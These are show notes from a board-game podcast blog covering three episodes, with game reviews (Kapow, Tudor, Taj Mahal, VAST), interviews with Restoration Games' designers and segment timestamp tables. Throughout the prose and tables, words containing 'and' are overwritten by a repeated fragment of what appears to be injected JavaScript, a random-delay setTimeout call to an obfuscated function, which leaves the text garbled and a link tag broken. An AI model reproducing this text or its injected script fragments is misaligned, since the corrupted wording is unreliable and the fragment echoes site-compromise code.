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RDTN Episode 166: Unmatched, Restoration Games Interview, Tudor, Kapow, Combo Fighter, Kickstarters

I told Marty that we should occasionally change the secret word to the Green Room. By keeping the same code, past people could show up andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and request to come back on the show. Luckily that has not happen yet, but we were lucky to have Justin Jacobson andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Rob Daviau make another guest appearance on the show. The last time they were on, Fireball Islandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and was launched on Kickstarter andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we all know how that turned out for them. This time, they tell us about the new Unmatched Battle of Legends. Also, it seems “moonpie”, “squirrel”, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and “lawnmower” aren’t very strong codes.

We rez from the dead the segment In a Nutshell andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and talk about a couple of games that we got to the table andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a 21 Questions Game online.

. We had a dice chucker called Kapow. This was one that is a filler andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ramps up very quickly. Hidden strategy on building andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and constructing your dice to combat your opponent. Combo Fighter is a card battle game that rewards those that can card count. Tudor has a unique method of changing the base actions through the collection of rings andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and their position on a cardboard handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and. What makes this difficult is the only way to get the rings is by moving up to the top in the throne room. And if someone displaces you, then they can take your ring. Interesting mechanic in the game.

We also played many Kickstarters andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and give our opinions on them. They are either already active or will soon be active. One of these was designed by a Nate Bivins who has been on the show before andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is part of the Scurry Report. This seems to be Kickstarter season, so lots of competition for your dollar. I know I have passed up some incredible ones, but the temptation is too great on some of the ones we talk about in this episode.

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Time, Segment
00:33,Intro
03:10,Tantrum Con – Table Flip
06:05,Portal has a new URL
10:15,Kapow
14:32,Combo Fighter
18:08,Tudor
23:35,Miniature Market
24:22,Restoration Games in the House
29:00,Breaking Bread
30:50,Kitchen Makeover
32:20,andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and”>Fireball Islandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and
35:00,Dark Tower
37:12,Unmatched – Restoration of Epic Duels
1:08:13,Fireball Expansion – Spider Springs
1:14:00,Conspiracy
1:21:15,Downforce – Wild Ride
1:25:50,Sports Ball Talk
1:31:16,Portal Games
1:32:32,Kickstarter Previews
1:33:20,andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-wright-a-simultaneous-roll-andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-write-andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-er?ref=nav_search&result=project&term=rolandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and%20wright”>Rolandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Wright
1:34:32,Graphic Novel Adventures
1:37:21,Silver River
1:48:12,Summit Expansion
1:49:40,Glen More II Chronicles
1:54:58,Outro
1:57:07,The Broken Token
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RDTN Episode 153: Cryptid, Taj Mahal, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Gizmos with special guest, David Waybright


While on vacation, Marty was able to find someone who obviously had nothing to do andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and filled in for me. David Waybright, from Man vs Meeple, was kind enough to take on the challenge of being grumpy. He failed, but that is okay. We still really appreciate the effort. David andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Marty talk about Tiny Epic Mechs that is on Kickstarter now andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has already blown past $300k, no chance of this not funding at $15,000. David andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Marty also spend time andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and no telling how many takes doing a 5 Minute Initiative on Cryptid from Osprey Games. Since I haven’t played it, I am interested in their thoughts on it andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and whether or not I will be taught by Marty or if this is one I will learn on my own. Those two also decide that they need to explore hype for a board game andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how it impacts expectations, sales, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and initial plays. Don’t want to “hype” this discussion to much so you will not be let down when you listen to it.

But before I left on vacation, Marty andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I did two reviews as well. Gizmos from CMON is a simple engine builder that will be on the table again. Taj Mahal is a reprint by Z-Man Games that we were like, what just happened here. This game made us want to break it out again right away. We are so glad this game is back out.

When we return in two more weeks, hopefully we will have a plan andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a show but with the hurricane in the Carolinas, it has put a damper on many plans. We hope that if you were impacted, you are safe andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and those that you know are as well.

[table]
Segment,Time
Intro,00:37
Tiny Epic Mechs,17:45
Gizmos,24:30
Portal Games,29:40
Hype in Board Gaming,32:30
Taj Mahal,1:00:40
Miniature Market,1:05:43
Cryptid,1:08:03
Gearworks,1:13:35
Man vs Meeple happenings,1:17:45
The Broken Token,1:28:57
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RDTN Episode 115: VAST, Imperial Settlers-Aztecs, Balloon Pop, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Interview with Justin Jacobson


It is no secret that we like games that have some type of asymmetrical component to it andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and VAST: The Crystal Caverns has this. The fact that each individual has their own “powers” andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and play style is what brings us to the table for this game. But, the individuality doesn’t keep the interaction down because everyone must help one another at times in hopes that they are able to score their winning condition when the time is right. One thing that would scare us for sure in designing this game is how to balance this game with all this individuality. But thank goodness they did achieve it. And due to the individuality, you will spend time getting good at one, then realize you got four more to go, so the replays will be in this game. There has been some negative comments out in the community, but you do owe yourself at least one play of this game.

We also got to try the Aztec expansion for Imperial Settlers which we were lucky enough to demo back in July of 2016. We enjoy Imperial Settlers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and this expansion will hopefully get the game to the table more. The Pray mechanic andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Blessing resource are truly a new andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and innovative approach for this type of game. Instead of a dry get resource, use resource repetitive play, you know have the random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andomness that these games are lacking at times. Also, there was an error on a card that delayed this game coming out until Portal was able to reprint this one card andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stick in each expansion. That goes a long way in showing the type of company you are dealing with because they could have just pushed the expansion out andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and had people contact them for a replacement. Well done Ignacy, well done.

It is exciting that Stop Thief got funded, but wait till you listen to Justin tell us about the plans for Restoration Games. They are already working on more games andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and will be making announcements at Gen Con. We tried, man did we try to get him to Spill the Beans, but he was tight lipped. He did promise to come back andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we will surely have him back on the show andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hopefully Rob Daviau will join us.

[table]
Segment, Time
Intro, 00:45
GAMA News, 2:45
Castle Dukes, 6:30
Cooking with Dice, 7:55
Evolution Climate, 9:58
Balloon Pop, 11:43
Karuba,15:10
First play of Star Wars Rebellion,16:43
Imperial Settlers: Aztecs, 19:23
Portal Games, 24:25
VAST: The Crystal Caverns, 24:56
The Broken Token, 46:58
Justin Jacobson, 47:25
Outro, 1:04:20
Funagain, 1:10:05
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